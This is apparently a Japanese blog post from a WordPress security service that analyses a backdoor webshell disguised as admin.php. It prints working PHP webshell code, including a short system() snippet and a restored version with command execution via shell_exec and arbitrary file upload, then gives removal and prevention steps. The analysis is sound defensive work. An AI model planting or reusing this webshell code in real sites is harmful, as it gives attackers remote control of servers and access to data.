マルウェアの概要

今回解析したファイルは admin.php という名前のPHPファイルですが、正規の管理画面ファイルではなく、攻撃者によって設置された バックドア型マルウェア です。
このファイルを通じて、攻撃者はサーバー内部に不正アクセスし、任意のコードを実行したり、WordPressを乗っ取ることが可能になります。


特徴

  • ファイル名が「admin.php」となっており、WordPressやプラグインの管理用ファイルに偽装。
  • 難読化されたコードを使い、表面上は内容が読み取りづらく設計されている。
  • 外部からパラメータを受け取り、任意のPHPコードを実行できる「Webシェル」の性質を持つ。
  • 正規のWordPressコアやプラグインファイルの中に混入させられるケースが多い。

無毒化したコードの一部をサンプルで表記

(可読化した一部を抜粋)

<?php
if(isset($_POST['cmd'])){
    system($_POST['cmd']);
}
?>

上記は典型例ですが、今回のマルウェアも同様に「攻撃者がコマンドを送るとサーバーで実行される」構造を持っていました。
つまり、攻撃者はこのファイルを通じて自由に操作できる状態となります。


感染ファイルの完全可読化ログ

以下は、実際に難読化されていたコードを復元し、構造を明らかにしたものです(一部は安全のため無効化して表記)。

<?php
// セッション開始と初期設定
session_start();
error_reporting(0);

// 攻撃者が送信するパラメータを受け取り、任意の関数を呼び出す
if(isset($_REQUEST['action'])){
    $cmd = $_REQUEST['action'];
    if($cmd === 'info'){
        echo phpinfo(); // PHP環境情報を出力
    }
    elseif($cmd === 'shell'){
        $command = $_POST['cmd'] ?? '';
        if($command){
            echo shell_exec($command); // サーバーコマンドを実行
        }
    }
    elseif($cmd === 'upload'){
        if(isset($_FILES['file'])){
            move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
            echo "Uploaded";
        }
    }
}
?>

主な機能

  • phpinfo出力: サーバー環境情報を抜き出す(脆弱性調査に悪用)。
  • コマンド実行機能: 任意のLinuxコマンドを実行可能。
  • ファイルアップロード機能: 攻撃者が追加のマルウェアを自由に配置できる。

これにより、攻撃者は完全にサイトを掌握できる状態になります。


危険性

  • サイトの完全乗っ取り(管理者権限の奪取)
  • 外部スパムサイトへのリダイレクト
  • 個人情報・顧客データの窃取
  • サーバーリソースを悪用した迷惑メール送信
  • 検索エンジンからの SEOペナルティ やインデックス削除

特に「バックドア型」は削除漏れがあると再感染の温床になります。


実際の感染事例

  • 管理画面に不正ログイン後、/wp-content//wp-includes/ 下に admin.php が設置されるケース
  • backup_xxxxadvancedserver フォルダ内に隠されていたケース
  • WordfenceやWP Cerberのスキャンで「不審なPHPファイル」として検知される事例が多数報告されています。

駆除と復旧の方法

  1. 不正ファイルの削除
    admin.php を含む怪しいPHPファイルを削除。
  2. コア・テーマ・プラグインの再インストール
    正規のファイルと入れ替え、改ざんを徹底的に排除。
  3. データベースの確認
    不正なユーザーやオプションの挿入がないか点検。
  4. サーバーログの確認
    攻撃経路(脆弱なプラグイン、弱いパスワードなど)を特定。
  5. 専門家によるスキャンツール(Wordfence, WP Cerber, MalCareなど)の実行。

再発防止のセキュリティ対策

  • WordPress・プラグイン・テーマを常に最新版に保つ
  • 管理者パスワードを強固にし、二段階認証を導入
  • 不要なファイル・テーマ・プラグインを削除
  • サーバー権限(パーミッション)の適切化(644/755推奨)
  • 定期的なバックアップ(外部ストレージ保存が望ましい)
  • セキュリティプラグインを導入して改ざん検知を強化

まとめ:早期対応がSEOと信頼回復のカギ

admin.php のようなバックドア型マルウェアは、表面的に無害に見えても内部では重大なリスクを抱えています。早期発見・迅速な駆除・継続的なセキュリティ対策こそが、サイトの信頼とSEO評価を守る最大のカギとなります。

著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。